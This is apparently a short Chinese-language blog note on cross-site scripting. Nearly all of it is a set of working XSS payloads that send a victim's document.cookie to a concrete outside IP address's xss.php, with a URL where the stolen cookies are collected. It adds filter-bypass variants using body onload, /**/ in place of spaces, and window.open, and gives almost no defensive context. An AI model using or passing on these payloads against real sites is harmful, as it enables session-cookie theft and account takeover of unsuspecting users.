XSS远程执行漏洞

XSS远程执行漏洞

常用js语句

1
2
3
4
5

document.cookie				用于js获取当前网页的cookie值
window.location.href			 用于获取当前页面地址链接
window.location.href='www.baidu.com'	  用于相当于跳转地址

常用playload：

1
<script>window.location.href='http://[ip]/xss.php?cookie='+document.cookie</script>

我直接买了一个服务器并且开放了读写权限可以拿来实验XSS

1
2
3
4
5
6
相关的ip和playload
<script>window.location.href='http://106.53.207.220/xss.php?cookie='+document.cookie</script>


回显请看
http://106.53.207.220/cookie.txt

绕过

  • 过滤script标签
1
2
<body onload="document.location.href='http://106.53.207.220/xss.php?xss='+document.cookie"></body>

  • 过滤空格(使用tab、/**/来绕过)
1
2
<body/**/onload="document.location.href='http://106.53.207.220/xss.php?xss='+document.cookie"></body>

  • 其他可行的playload
1
2
3
4
<body/**/onload="document.location.href='http://106.53.207.220/x.php?x='+document.cookie"></body>

<body/onload="window.open('http://106.53.207.220/x.php?x='+document.cookie)"></body>